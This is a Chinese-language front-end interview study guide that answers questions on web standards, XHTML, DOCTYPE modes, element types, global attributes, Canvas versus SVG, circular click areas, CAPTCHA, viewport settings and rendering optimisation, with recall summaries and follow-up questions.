Web 标准和 W3C 标准是一组用于统一网页结构、样式与交互行为的技术规范。 它们覆盖 HTML、CSS、DOM、SVG 等领域,目的是让网页在不同浏览器和设备上尽量保持一致。落到编码上,就是正确闭合和嵌套标签、规范书写,并通过外链 CSS 和 JavaScript 分离结构、表现与行为。遵循这些规范也有利于可访问性、可维护性和后续扩展。

WEB标准是指由万维网联盟(World Wide Web Consortium,简称W3C)制定的一系列技术规范和指南,旨在确保网页在不同的浏览器和设备上具有一致的表现和行为。这些标准涵盖了HTML、CSS、JavaScript等前端技术,并规定了它们的语法、结构、样式以及交互行为等方面的规范。

W3C标准是由W3C组织制定和推广的一系列技术标准,旨在推动网络技术的发展和互操作性。W3C是一个国际性的标准化组织,由互联网行业的各大公司、研究机构和个人组成,致力于制定并推广互联网的开放标准。W3C标准包括HTML、CSS、XML、DOM、SVG等多个技术领域,并且不断更新和演进,以适应新的需求和技术发展。

具体来说,WEB标准和W3C标准强调以下几个方面:

  • 标签闭合:HTML标签必须按照规定的格式正确闭合,以确保页面结构的准确性和一致性。
  • 标签小写:HTML标签和属性应该使用小写字母,以避免浏览器解析错误。
  • 不乱嵌套:HTML标签应该按照正确的嵌套规则进行使用,不应该出现乱七八糟的嵌套结构,以确保页面结构的清晰和可维护性。
  • 使用外链CSS和JS:将CSS样式和JavaScript代码尽可能地放在外部文件中,并通过链接的方式引入,以实现结构、行为和表现的分离,提高代码的可重用性和可维护性。

通过遵循这些标准和规范,开发人员可以编写出更加规范、可靠和跨平台的网页,确保网页在不同的浏览器和设备上得到一致的显示和行为,提供更好的用户体验。此外,遵循WEB标准和W3C标准还有助于网页的可访问性、可维护性和可扩展性,同时推动互联网技术的进步和发展。

💬 面试官追问

  • 代码评审里有人认为“Chrome 能显示就算符合 Web 标准”,但同一页面在移动设备上结构错乱;这个判断漏掉了什么?

    单一浏览器能够容错显示,并不能证明页面遵循了 Web 标准,标准关注不同浏览器和设备之间的互操作性与一致行为。应检查标签闭合、嵌套、大小写习惯及结构、样式、行为的组织;完全一致仍可能受实现差异影响,需配合跨端测试。

  • 一个多人维护的活动页把样式、脚本和大量内联事件都塞进 HTML,两周后改版频繁产生重复代码;你会怎样按标准思想重构?

    应把文档结构留在 HTML,将可复用样式和交互逻辑分别迁移到外链 CSS 与 JavaScript,形成结构、表现、行为的分离。这样更便于复用和维护,但外链文件的加载、缓存与依赖顺序也需要明确管理。

  • 团队从桌面官网扩展到手机和其他终端后,负责人要求所有标签都改成小写并正确闭合;这些书写约束能否单独保证跨平台一致?

    规范书写能减少解析歧义和维护成本,却不能单独保证所有设备呈现完全一致。还要遵循正确嵌套、标准化 HTML、CSS 和交互行为,并在目标浏览器与设备上验证;终端能力和实现差异仍可能要求兼容处理。

  • 线上只有某类页面出现 DOM 层级异常,模板中能看到未闭合标签和列表元素交叉嵌套,但浏览器仍勉强渲染;你会先修脚本还是先修结构?

    应先修复标签闭合与非法嵌套,因为错误结构会让解析后的 DOM 偏离源码预期,随后脚本选择器和样式规则都可能被连带影响。修正后再比较实际 DOM 与模板;若异常仍在,才继续排查 CSS 或 JavaScript。

  • 产品要求快速上线一次性专题页,开发者想全部内联以少建文件,架构师坚持外链 CSS 和 JS;你如何处理这组选型冲突?

    若页面极小且一次性,内联并非必然不可运行,但会削弱结构、表现、行为分离带来的复用和维护收益。只要专题可能迭代或共享样式脚本,就应优先外链;外链会增加资源组织工作,不能把形式本身当成质量保证。

# 15 xhtml和html有什么区别?

⚡ 30 秒速记

  • 历史题,了解即可:XHTML 是用 XML 语法重写的 HTML,2011 年 W3C 停止 XHTML2 工作组,实践中已被 HTML5 取代
  • XHTML 的硬性要求:标签必须闭合、必须小写、属性必须带引号、必须有根元素,一处语法错整页拒绝渲染
  • HTML5 宽容得多:解析器有明确的容错规则,写错也能渲染出结果
  • 今天还用得上的部分:XHTML 那套"标签闭合、小写、正确嵌套"的习惯被保留成了代码规范(JSX 就是强制闭合的)

XHTML 和 HTML 的核心区别在于,XHTML 对文档书写格式的要求更严格。 XHTML 元素必须正确嵌套和闭合,名称区分大小写,而且文档必须存在根元素。功能层面上,原文强调它可兼容浏览器、手机和 PDA,也便于浏览器快速、正确地编译网页。简单来说,编写 XHTML 时不能依赖浏览器替你容忍不规范的标记。

  • 一个是功能上的差别
    • 主要是XHTML可兼容各大浏览器、手机以及PDA,并且浏览器也能快速正确地编译网页
  • 另外是书写习惯的差别
    • XHTML 元素必须被正确地嵌套,闭合,区分大小写,文档必须拥有根元素

💬 面试官追问

  • 旧模板在普通 HTML 页面里混用了 <BR>、未闭合段落和大小写属性,浏览器仍能显示;把文件直接声明为 XHTML 后,为什么不能期待它继续照常工作?

    XHTML 要求元素正确嵌套和闭合,并区分大小写,文档还必须具有根元素,原模板不满足这些书写约束。迁移前应先规范标签结构与大小写;只改声明而不改内容,可能导致解析失败或页面结构不符合预期。

  • 团队要把一套页面同时交付给桌面浏览器、手机和较旧的移动终端,负责人以“兼容面广”为由选择 XHTML;落地时最先建立哪些代码检查?

    应优先检查所有元素是否正确嵌套与闭合、名称大小写是否一致,以及文档是否只有合规的根元素。严格书写有利于页面被快速、正确地处理;但兼容性仍要通过目标终端验证,不能只依赖文档类型判断。

  • 服务端模板原本输出完整 XHTML,后来改为拼接多个业务片段,某个片段带来第二个根节点;其他标签都闭合时,文档仍违反了什么约束?

    它仍违反 XHTML 文档必须拥有根元素的约束,多个并列顶层节点不能组成合规的完整文档。模板层应由统一外壳提供唯一根元素,业务片段只输出其内部内容;若片段可独立返回,则需分别生成完整文档。

  • 线上某批 XHTML 页面只有新增组件无法正常处理,差异对比发现 <Item> 的结束标签写成 </item>,而普通 HTML 测试页看起来正常;你如何定位?

    应先按大小写敏感规则检查起止标签是否完全匹配,再验证新增组件的嵌套和闭合关系。这里 <Item> 与 </item> 不能视为同一名称,修正模板生成逻辑比增加浏览器兼容分支更直接;其他结构错误也需一并排除。

  • 一个内容站已用宽松 HTML 稳定运行,架构师希望全量迁到 XHTML 以获得更严格的代码约束,而业务方担心改造风险;你怎么权衡?

    若目标终端确实需要 XHTML 的兼容与严格处理特性,迁移才有明确收益,并应先完成嵌套、闭合、大小写和根元素检查。仅为了统一书写习惯而全量迁移,可能放大存量模板问题;可先用代码规范和校验逐步治理。

# 16 Doctype作用? 严格模式与混杂模式如何区分?它们有何意义?

⚡ 30 秒速记

  • DOCTYPE 的唯一作用:告诉浏览器用标准模式还是怪异模式解析,它不是标签、也不是 HTML 元素
  • 写了 <!DOCTYPE html> → 标准模式;漏写或写错 → 怪异模式(Quirks Mode)
  • 怪异模式最典型的坑:盒模型退化成 IE 的 border-box 算法,宽度计算全乱
  • 现代开发只需记住一条:永远在文档第一行写 <!DOCTYPE html>
  • 还有个中间态叫 Almost Standards Mode,差别只在图片所在行的行高计算,了解即可

DOCTYPE 用来告诉浏览器按哪种 HTML 或 XHTML 规范解析文档,并影响页面进入严格模式还是混杂模式。 声明正确时,浏览器通常按规范解析和渲染;声明缺失或格式不正确时,则可能进入用于兼容旧网站的混杂模式。严格模式有助于减少跨浏览器差异,混杂模式会更宽松地容忍不规范的 HTML 和 CSS。工程中应提供正确的 DOCTYPE,只有维护旧页面时才需要关注混杂模式的兼容行为。

  • DOCTYPE(文档类型声明)的作用是告知浏览器的解析器使用哪种HTML或XHTML规范来解析文档。
  • 严格模式(标准模式)是指浏览器按照HTML或XHTML的规范严格解析和渲染页面,以确保页面在不同浏览器中具有一致的展示效果和行为。在严格模式下,浏览器会按照规范要求的方式处理HTML和CSS代码。
  • 混杂模式(怪异模式或兼容模式)是指浏览器使用较宽松的解析方式来渲染页面,以模拟旧式浏览器的行为,以保证旧版网站的兼容性。在混杂模式下,浏览器可能会容忍一些不符合规范的HTML和CSS`代码,导致页面展示和行为在不同浏览器中有差异。
  • 通过DOCTYPE声明的类型来区分严格模式和混杂模式。当DOCTYPE声明为严格的HTML或XHTML规范时,浏览器会进入严格模式;当DOCTYPE声明缺失或格式不正确时,浏览器会进入混杂模式。
  • 严格模式和混杂模式的意义在于确保页面在不同浏览器中的一致性和兼容性。严格模式使开发者能够使用更规范的HTML和CSS代码,减少兼容性问题,提高网页的可靠性和可维护性。混杂模式则用于支持旧版网站,以确保这些网站在新版浏览器中能够正确显示和运行。

💬 面试官追问

  • 两个页面引用完全相同的 CSS,其中一个顶部缺少有效 DOCTYPE,结果旧式布局规则表现不同;“样式文件相同,渲染模式就相同”错在哪里?

    渲染模式不只由 CSS 决定,有效的 DOCTYPE 会告知浏览器按相应 HTML 或 XHTML 规范解析文档。声明缺失或格式错误时可能进入混杂模式并模拟旧浏览器行为,因此应先统一文档声明,再比较具体样式差异。

  • 你接手一个多模板站点,准备把页面统一到标准模式,但不能一次重写所有样式;上线前会怎样控制改造范围?

    先为模板补充正确且一致的 DOCTYPE,再对依赖旧式渲染行为的页面做分批回归,重点比较布局和交互。标准模式能提升跨浏览器一致性,但切换会暴露历史代码对混杂模式的依赖,不能只改声明后直接全量发布。

  • 公司仍需维护十年前的内部系统,新页面要求标准模式,旧页面却依赖浏览器模拟旧行为;是否应该强制所有页面立即使用同一种模式?

    新页面应采用有效 DOCTYPE 进入标准模式,以规范的 HTML 和 CSS 降低后续兼容成本。旧页面若依赖混杂模式,可暂时隔离并逐步改造;立即切换虽然形式统一,却可能破坏现有展示和业务行为。

  • 线上只有一个营销页在不同浏览器中布局差异明显,源码里也存在不规范标签和 CSS;你如何判断是代码错误还是渲染模式导致的?

    先核对页面开头的 DOCTYPE 是否缺失、拼写错误或与文档类型不符,再与正常模板做最小差异对比。确认进入预期模式后,再修复不合规范的 HTML 与 CSS;混杂模式会容忍部分错误,容易掩盖真正的结构问题。

  • 业务方认为混杂模式“兼容性更强”,希望新项目也使用它来减少浏览器问题;你会接受吗?

    不应把混杂模式作为新项目的通用兼容方案,它主要用于模拟旧式浏览器行为以维持旧网站。新项目采用标准模式更有利于获得一致、可靠且可维护的渲染结果;代价是历史代码若被复用,必须先消除对旧行为的依赖。

# 17 行内元素有哪些?块级元素有哪些? 空(void)元素有那些?行内元素和块级元素有什么区别?

⚡ 30 秒速记

  • 行内:a、span、img、input、select、strong、em、label、b、i
  • 块级:div、p、h1~h6、ul、ol、li、dl、table、form、section、article
  • 空元素(自闭合、没有内容):br、hr、img、input、link、meta、source、track、area、base、col、embed、param、wbr
  • 核心区别:行内元素不独占一行、width/height 无效、垂直方向的 margin/padding 不撑开盒子(水平方向有效)
  • 补一句现代说法:HTML5 规范已改用"内容分类"(流内容 / 短语内容)描述,"行内/块级"其实是 CSS display 的默认值,改 display 就能互相转换

常见行内元素有 a、span、img、input,块级元素有 div、ul、li、h1、p,空元素则包括 br、hr、img、input、link、meta。 行内元素通常不独占一行,按从左到右排列并按内容占用空间;块级元素会独占一行、自动换行,通常占满父元素宽度,而且可以设置宽高。空元素本身没有内容,因此不需要成对的结束标签。本质上,行内和块级描述的是元素默认的 display 表现,实际开发中可以通过修改 display 让它们互换。

  • 行内元素有:a b span img input select strong等。
  • 块级元素有:div ul ol li dl dt dd h1 h2 h3 h4等标题标签、p 段落标签等。
  • 空元素(void元素)是指没有内容的HTML元素。常见的空元素包括:<br> 换行元素、<hr> 水平线元素、<img> 图片元素、<input> 输入框元素、<link> 样式表引用元素、<meta> 元数据元素等。
  • 行内元素不可以设置宽高,不独占一行,它们会按照从左到右的顺序排列,并尽可能占据内容所需的空间。
  • 块级元素可以设置宽高,独占一行,会自动换行。块级元素会在页面上以独立的块形式展现,并占据其父元素的整个宽度。

💬 面试官追问

  • 设计稿要求一个 span 形式的状态标签固定为 120px × 40px,开发直接写 width 和 height 后尺寸没有按预期变化;为什么同样写法放在 div 上却通常有效?

    span 默认属于行内元素,不独占一行,并主要按内容所需空间排列,因此直接设置宽高通常不符合预期。div 属于块级元素,可以设置宽高且默认独占一行;若保留行内排布,需要调整其布局方式,同时评估换行影响。

  • 商品列表要让十几个链接从左到右排列,而每个商品卡片又要占满父容器一行;你会分别选择哪类元素作为布局起点?

    连续链接可从 a、span 等行内元素出发,它们会从左到右排列并尽量只占内容空间。整行卡片可用 div、li 等块级元素,便于设置宽高并形成独立块;最终视觉仍应由 CSS 控制,元素选择还要符合内容语义。

  • 模板生成器把 <img>、<input> 和 <meta> 都按普通容器输出了成对结束标签,构建没有报错但代码审查认为模型设计有问题;问题出在哪里?

    这些标签属于常见空元素,本身不承载子内容,不应被当作可包裹子节点的普通容器。生成器应为 br、hr、img、input、link、meta 等建立空元素规则;否则模板抽象会误导调用方,并可能产生不规范标记。

  • 线上文章页的目录项原本使用 li,改版时被统一替换成 span 后,条目不再自然换行并挤在同一行;你会先检查什么?

    先检查替换是否把默认块级排列改成了行内排列:li 通常形成独立块,而 span 会从左到右连续排布。恢复合适元素或明确设置布局即可修正;若目录依赖列表结构,还应保留 ul、ol 与 li 的正确嵌套。

  • 组件库评审中,一方想用 div 实现所有文本和链接以方便设置尺寸,另一方坚持全部使用行内标签以减少换行;你如何裁决?

    应按内容结构和布局需求选择起点:独立区域适合块级元素,连续文本或链接适合行内元素,不能只为宽高或换行统一标签。布局差异可由 CSS 调整,但滥用元素会降低结构清晰度;空元素也不能被拿来承载内容。

# 18 HTML全局属性(global attribute)有哪些

⚡ 30 秒速记

  • 常考:class、id、style、title、data-*、lang、dir、hidden、tabindex、draggable、contenteditable、accesskey、spellcheck
  • 无障碍相关也是全局的:role、aria-*
  • data-* 是唯一官方允许的自定义属性,JS 里用 element.dataset 读写(data-user-id → dataset.userId)
  • tabindex 三种取值:负数(能聚焦但不进 Tab 顺序)、0(按文档顺序进 Tab)、正数(强行插队,实践中不要用)

HTML 全局属性是各类元素都可以使用的通用属性,常见的有 class、id、style、title、lang、data-* 和 draggable。 class 与 id 主要用于标识元素,其中 id 在文档内应保持唯一,style 则用于编写行内 CSS 样式。需要给元素附加自定义数据时可以使用 data-*,涉及语言说明或拖拽能力时再分别设置 lang 和 draggable。title 适合提供与元素相关的建议信息,不应把所有业务数据都塞进这个属性。

  • class:为元素设置类标识
  • data-*: 为元素增加自定义属性
  • draggable: 设置元素是否可拖拽
  • id: 元素id,文档内唯一
  • lang: 元素内容的的语言
  • style: 行内css样式
  • title: 元素相关的建议信息

# 19 Canvas和SVG有什么区别?

⚡ 30 秒速记

  • 一句话:Canvas 是位图 + 一次性绘制,SVG 是矢量 + 保留 DOM
  • Canvas:像素级操作、无 DOM 节点、放大会糊、事件要自己算坐标、元素多也不掉帧 —— 适合游戏、图像处理、大量粒子
  • SVG:每个图形都是 DOM 节点、无损缩放、能直接绑事件和写 CSS —— 适合图标、图表、地图
  • 性能分水岭:图形数量多用 Canvas(SVG 节点一多就卡),单个图形复杂/需要交互用 SVG
  • 加分项:SVG 对无障碍和 SEO 友好(文字是真文字),Canvas 里的内容对爬虫和读屏器完全不可见

Canvas 本质上是基于像素的一次性绘制,而 SVG 是基于 XML 的矢量图形,并且会保留独立的 DOM 节点。 因此 Canvas 放大后可能失真或出现锯齿,绘制完成后也不能直接操作其中的图形对象。SVG 可以无损缩放,还能修改、删除元素或直接绑定事件。像素级图像处理、游戏和动画通常更适合 Canvas,图表、数据可视化及需要交互和缩放的场景则更适合 SVG。

  • svg绘制出来的每一个图形的元素都是独立的DOM节点,能够方便的绑定事件或用来修改。canvas输出的是一整幅画布
  • svg输出的图形是矢量图形,后期可以修改参数来自由放大缩小,不会失真和锯齿。而canvas输出标量画布,就像一张图片一样,放大会失真或者锯齿

Canvas:

  • Canvas 是一个HTML5元素,用于在网页上绘制图形、动画和图像。
  • 通过使用JavaScript绘制图形,Canvas提供了一个像素级的绘图环境。
  • Canvas 绘制的是位图,它是由一系列的像素组成的,所以在放大时会出现像素失真或锯齿效应。
  • Canvas 不会保留绘图的对象,绘制完成后,图形将被保存为一张图片。
  • 由于绘制是基于像素的,Canvas 更适合处理像素级的图像处理、游戏开发等场景。
  • Canvas 不支持事件绑定,需要通过监听鼠标、键盘等事件来实现交互。

SVG:

  • SVG 是一种基于XML的矢量图形格式,用于在网页上绘制图形和图像。
  • SVG 使用XML描述图形,它由一系列的矢量对象组成,可以方便地修改和操作。
  • SVG 绘制的是矢量图形,它基于数学描述,可以自由缩放和变换而不会失真或产生锯齿效应。
  • SVG 保留了绘图的对象,可以对其进行修改、删除和动态操作。
  • 由于是矢量图形,SVG 更适合处理图表、数据可视化和可缩放的图形场景。
  • SVG 支持事件绑定,可以方便地为图形元素添加交互行为。

综上所述,Canvas适用于像素级绘图和动画,而SVG适用于矢量图形和可缩放的图像。选择使用Canvas还是SVG取决于具体的需求和场景。

💬 面试官追问

  • 一个流程图用 Canvas 绘制后,产品要求点击任意节点改颜色;你能像操作 SVG 一样直接找到对应图形节点吗?

    不能直接找到,因为 Canvas 绞制完成后只保留整块位图,不会为矩形、连线等图形保留独立 DOM 节点。需要自行维护图形对象、坐标和命中检测,再按新状态重绘画布;交互对象较多时,这套管理逻辑的复杂度会明显上升。

  • 后台要展示几百个可点击的数据点,并支持悬停提示和动态修改样式,你会先选 SVG 还是 Canvas?

    这类强调逐元素交互的页面会优先考虑 SVG,每个数据点都是可查询、可修改并可绑定事件的独立元素。实现时可直接更新对应节点属性;但当图形数量继续增大、DOM 管理成为负担时,需要重新评估 Canvas 的像素绘制方案。

  • 同一张品牌图既要显示在手机卡片中,又要放大到桌面大屏,设计师要求边缘始终清晰,选型会怎样变化?

    应优先使用 SVG,因为图形由矢量对象和数学参数描述,缩放或变换时不会像位图那样出现像素失真和锯齿。Canvas 若要适应更大显示尺寸,通常需要按目标像素重新绘制;涉及照片或像素级处理时,选择才可能反过来。

  • 一个 Canvas 小游戏能收到画布的点击事件,但点击某个角色时总是触发错对象,你会从哪里排查?

    先排查角色坐标、绘制顺序以及点击位置到画布坐标的换算,因为 Canvas 不会替内部图形分发事件。应保存每个对象的范围并执行命中检测,必要时按层级反向查找;缩放、位移或高分辨率画布会让坐标不一致的问题更隐蔽。

  • 团队在可编辑图表上争论:动画同学偏向 Canvas,交互同学偏向 SVG,你用什么标准做决定?

    应根据主要矛盾决定:大量像素绘制、图像处理或连续动画更偏向 Canvas,频繁选中、修改和绑定事件则更偏向 SVG。还要同时评估图形数量、缩放清晰度与对象管理成本;两者并非互相替代,复杂页面也可分层组合。

# 20 HTML5 为什么只需要写 <!DOCTYPE HTML>

⚡ 30 秒速记

  • HTML5 不再基于 SGML,不需要引用外部 DTD,所以声明可以极简
  • HTML 4.01 基于 SGML,必须用 DTD 告诉解析器用哪套规则,所以那一长串 URL 是必需的
  • <!DOCTYPE html> 保留下来的唯一目的:让浏览器进标准模式,不是给解析器提供语法定义
  • 不区分大小写,且必须是文档第一行(前面有任何内容都可能触发怪异模式)

因为 HTML5 不再基于 SGML,无需通过外部 DTD 描述文档规则,所以只写 <!DOCTYPE HTML> 就够了。 这段声明本质上是告诉浏览器按标准模式解析和渲染页面,避免浏览器采用其他兼容方式。相比之下,HTML4.01 基于 SGML,必须在声明中指定对应的 DTD。实际编写 HTML5 页面时保留这行简短声明即可,不需要再复制旧版那种很长的文档类型定义。

  • HTML5 不基于 SGML,因此不需要对DTD进行引用,但是需要doctype来规范浏览器的行为
  • 而HTML4.01基于SGML,所以需要对DTD进行引用,才能告知浏览器文档所使用的文档类型

下面是对此进行更详细的解释:

  • 在 HTML5 中,不再基于 SGML(Standard Generalized Markup Language)标准,而是定义了自己的独立规范。由于不再使用 SGML,因此不需要引用外部的 DTD(文档类型定义)来验证文档的结构和规则。
  • 因此,HTML5 只需要简单地使用 <!DOCTYPE HTML> 声明,它是一个标准模式的声明,告诉浏览器当前文档遵循的是 HTML5 规范。这样,浏览器就可以根据 HTML5 规范来解析和渲染文档,而无需引用外部的 DTD。
  • 相比之下,HTML4.01 基于 SGML 标准,需要通过 <!DOCTYPE> 声明来指定所使用的 DTD,例如 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">。这个 DTD 提供了规范的文档结构和规则,以确保浏览器正确解析和显示文档。
  • HTML5 的简化 <!DOCTYPE HTML> 声明的设计,使得创建和编写 HTML 文档更加简单和直观。此外,这也有助于提高浏览器的兼容性,因为所有的浏览器都会将文档解析为 HTML5,无需根据 DTD 进行选择和适配。
  • 总结起来,HTML5 不再依赖 SGML,因此不需要引用外部 DTD,只需使用简单的 <!DOCTYPE HTML> 声明来指定文档类型,规范浏览器的行为。

# 21 如何在页面上实现一个圆形的可点击区域?

⚡ 30 秒速记

  • 三种做法:CSS border-radius:50%、SVG <circle>、map + area shape="circle"
  • 但面试真正的考点是"点击区域是不是真的圆" —— border-radius 只改视觉,元素的命中区域默认还是方的
  • 让命中区域也变圆:CSS clip-path: circle(50%)(同时裁剪视觉和事件),这是最简洁的答案
  • 纯 JS 方案:监听点击后判断 (x-cx)² + (y-cy)² <= r²,落在圆外就忽略
  • map/area 是老方案,能用但响应式适配麻烦(坐标是固定像素)

圆形可点击区域可以用 SVG、CSS 的 border-radius,或者用 JavaScript 判断点击坐标来实现。 如果只是做普通圆形按钮,我一般会给等宽高元素设置 border-radius: 50%,写法最简单。需要矢量图形时可用 <circle> 绑定事件;如果必须精确判断点击位置是否落在圆内,就计算点击点到圆心的距离,并与半径比较。

有几种方法可以实现一个圆形的可点击区域:

  1. 使用 SVG(可缩放矢量图形):可以使用 SVG 元素 <circle> 创建一个圆形,并通过添加事件监听器实现点击功能。
<svg>
  <circle cx="50" cy="50" r="50" onclick="handleClick()"></circle>
</svg>
  1. 使用 CSS border-radius:通过设置一个具有相等宽度和高度的元素,并将 border-radius 属性设置为 50% 可以创建一个圆形区域
<div class="circle" onclick="handleClick()"></div>
.circle {
  width: 100px;
  height: 100px;
  border-radius: 50%;
}
  1. 使用纯 JavaScript 实现:通过计算鼠标点击的坐标与圆心的距离,判断点击位置是否在圆形区域内。
<div id="circle" onclick="handleClick()"></div>
#circle {
  width: 100px;
  height: 100px;
  background-color: red;
  border-radius: 50%;
}
function handleClick(event) {
  var circle = document.getElementById("circle");
  var circleRect = circle.getBoundingClientRect();
  var circleCenterX = circleRect.left + circleRect.width / 2;
  var circleCenterY = circleRect.top + circleRect.height / 2;
  var clickX = event.clientX;
  var clickY = event.clientY;
  var distance = Math.sqrt(
    Math.pow(clickX - circleCenterX, 2) + Math.pow(clickY - circleCenterY, 2)
  );
  if (distance <= circleRect.width / 2) {
    // 点击在圆形区域内
    // 执行相应操作
  }
}

💬 面试官追问

  • 一个宽高都是 100px、设置了 border-radius: 50% 的元素,用户点击外接矩形的角落也触发了业务逻辑;你会怎样确认圆形命中是否真的成立?

    不能只凭视觉上变圆就断定命中范围符合需求,应在目标浏览器中实际验证四个角的点击结果。若命中仍按矩形计算,就根据点击坐标到圆心的距离做判断,满足距离不大于半径时才执行操作;元素发生缩放后还要重新取得实际尺寸。

  • 地图上要放一个可点击的圆形热点,后续还要修改半径和颜色,你会用 SVG 的 <circle> 还是普通元素?

    这种图形属性需要持续调整的场景适合使用 SVG 的 <circle>,通过 cx、cy 和 r 明确描述圆,并在该元素上监听点击。它比手工计算形状更直观;若页面只是一个固定圆形入口,等宽高元素配合 border-radius: 50% 会更轻量。

  • 设计把圆形头像入口从正圆改成宽 120px、高 80px,但代码仍写 border-radius: 50%,点击区域和视觉结果会发生什么变化?

    它会形成椭圆而不是正圆,因为元素宽高已经不相等,百分比圆角会分别依据两个方向计算。若需求仍是圆形,应保持宽高一致,并以较短边或明确半径约束尺寸;仅调整圆角值无法补偿不一致的盒子比例。

  • 一个通过坐标计算命中的圆形按钮,页面滚动后点击位置整体偏移,你会检查 pageX 还是 clientX 与哪组边界数据混用了?

    应先统一坐标系:getBoundingClientRect() 返回的是相对视口的位置,因此应与 event.clientX、event.clientY 配对。若改用页面坐标,则必须把滚动偏移纳入计算;混用两套坐标会让页面未滚动时正常、滚动后稳定偏移。

  • 画布里有上千个圆形粒子需要点击,而运营页只有一个圆形按钮,这两个页面为什么不该共用同一种实现?

    运营页的单一入口用等宽高元素加 border-radius: 50% 即可,结构简单且无需维护坐标。画布中的大量粒子没有独立 DOM 节点,需要按圆心距离进行命中检测并自行管理对象;粒子越多,逐个检测与重绘的成本越值得关注。

# 22 网页验证码是干嘛的,是为了解决什么安全问题

⚡ 30 秒速记

  • 本质:区分"人"和"自动化程序",属于人机验证(CAPTCHA)
  • 防的是:撞库/暴力破解、批量注册、刷票、爬虫抓取、论坛灌水、短信轰炸
  • 演进路线:字符图形码 → 滑块/点选 → 行为验证(无感,靠鼠标轨迹和设备指纹)→ 现在主流是无感验证 + 风控评分
  • 注意它不是万能的:验证码只提高攻击成本,真正的防护还要靠限流、风控、二次验证
  • 前端要留意可访问性:纯图形验证码对视障用户不可用,必须提供语音或替代方案

网页验证码本质上是用来区分真人和自动化程序,降低网站被机器批量操作的风险。 它常用于登录、注册、投票和发帖等场景,避免程序持续尝试账号密码、批量注册、刷票或灌水。验证码通常要求用户识别随机字符、数字或图形,让自动化操作更难直接通过,从而减少网站资源被恶意滥用。

网页验证码(CAPTCHA)的作用是用于区分用户是计算机还是人的公共全自动程序。它主要解决以下安全问题:

  1. 防止恶意破解:通过要求用户输入验证码,可以防止恶意用户使用自动化程序(如暴力破解工具)对密码、账号进行不断的尝试,提高系统的安全性。
  2. 防止刷票和论坛灌水:验证码可以阻止自动化程序大规模注册账号、刷票或在论坛上进行大量无意义的发帖,保护网站资源免受滥用。

通过要求用户正确地输入验证码,可以验证用户的身份,确保其为真实的人类用户,而不是自动化程序或恶意攻击者。验证码通常会显示一张包含随机字符、数字或图形的图片,用户需要根据图片中的内容进行识别并输入正确的答案。

这样,网页验证码有效地提高了网站和应用程序的安全性,防止了各种恶意行为的发生。

# 23 viewport

⚡ 30 秒速记

  • 移动端必写:<meta name="viewport" content="width=device-width, initial-scale=1">
  • width=device-width 让布局视口等于设备理想视口,不写的话移动端默认按 980px 渲染再缩小,页面会小到看不清
  • 不要写 user-scalable=no / maximum-scale=1:禁止缩放是无障碍红线,iOS 10 之后 Safari 也已经忽略它
  • 刘海屏适配:viewport-fit=cover 配合 env(safe-area-inset-*) 留出安全区
  • 1px 问题的成因:CSS 像素 ≠ 物理像素,DPR=2 时 1px 会被渲染成 2 个物理像素。解法用 transform: scaleY(0.5) 配 transform-origin,或直接 0.5px(现代浏览器已支持)

viewport 用来控制移动端页面的视口宽高、初始缩放比例以及是否允许用户缩放。 常见写法会设置 width=device-width 和 initial-scale=1.0,让布局视口与设备宽度对应,并按正常比例显示。minimum-scale、maximum-scale 和 user-scalable 可继续限制缩放;处理移动端细线时,也可以结合 transform: scale(0.5) 做局部调整。

 <meta name="viewport" content="width=device-width,initial-scale=1.0,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no" />
  // width    设置viewport宽度,为一个正整数,或字符串‘device-width’
  // device-width  设备宽度
  // height   设置viewport高度,一般设置了宽度,会自动解析出高度,可以不用设置
  // initial-scale    默认缩放比例(初始缩放比例),为一个数字,可以带小数
  // minimum-scale    允许用户最小缩放比例,为一个数字,可以带小数
  // maximum-scale    允许用户最大缩放比例,为一个数字,可以带小数
  // user-scalable    是否允许手动缩放
  • 延伸提问
    • 怎样处理 移动端 1px 被 渲染成 2px问题?

局部处理

  • meta标签中的 viewport属性 ,initial-scale 设置为 1
  • rem按照设计稿标准走,外加利用transform 的scale(0.5) 缩小一倍即可;

全局处理

  • mata标签中的 viewport属性 ,initial-scale 设置为 0.5
  • rem 按照设计稿标准走即可

💬 面试官追问

  • 移动页已经写了 width=device-width,但设计稿仍按固定桌面宽度排版;你会认为加上 viewport 就自动完成适配吗?

    不会,viewport 只让布局视口宽度按设备宽度解析,并设置初始缩放比例,不会自动改造固定宽度布局。页面仍需使用合适的相对单位、弹性布局或断点规则;如果内容本身写死宽度,窄屏依旧会溢出。

  • 活动页希望首次打开按设备宽度以 1.0 比例展示,你会怎样配置最小必要的 viewport 内容?

    可使用 width=device-width, initial-scale=1.0,前者让视口匹配设备宽度,后者指定初始缩放比例。height 通常无需单独设置;继续加入 minimum-scale、maximum-scale 或 user-scalable 前,应确认确有产品约束。

  • 产品为了防止页面被放大,要求写 maximum-scale=1.0,user-scalable=no,但页面包含密集表单和小字号说明,你会直接接受吗?

    不会把禁止缩放当作默认配置,因为它会限制用户手动放大页面,密集内容可能因此更难阅读。应先通过响应式布局和可读字号解决展示问题,再判断业务是否确实必须锁定缩放;即便语法有效,也不代表体验合理。

  • 一条设计稿中的细线在部分移动设备上看起来变粗,团队准备把全站 initial-scale 改成 0.5,你会先排查什么?

    先检查当前 viewport、设备像素比、线条实现方式和页面是否已按设计稿做过缩放,避免重复缩放。局部细线可考虑在保持 initial-scale=1 的前提下单独用 transform: scale(0.5) 处理;全局改为 0.5 会影响整个页面尺寸与缩放语义。

  • 适配方案里有人主张用全局 initial-scale=0.5 解决所有细线,有人只处理组件边框,你倾向哪一种?

    通常更倾向局部处理,因为它把影响限制在确实需要变细的元素,不会改变整页的初始缩放。全局 0.5 只有在尺寸体系和 rem 计算都按该策略统一设计时才可考虑;迁移现有页面时容易造成布局整体缩小或比例错乱。

# 24 渲染优化

⚡ 30 秒速记

  • 减少重排(Layout):改布局属性最贵,能用 transform/opacity 就别改 top/left/width
  • 批量读写:先读完所有几何属性再统一写,避免强制同步布局(layout thrashing)
  • 开启合成层:transform: translateZ(0) 或 will-change,把动画交给 GPU,但别滥用(每层都吃内存)
  • 长列表虚拟滚动,只渲染可视区
  • 用 requestAnimationFrame 做动画,用 requestIdleCallback 做低优先级任务
  • 大计算搬进 Web Worker,别堵主线程(JS 线程和渲染线程互斥)

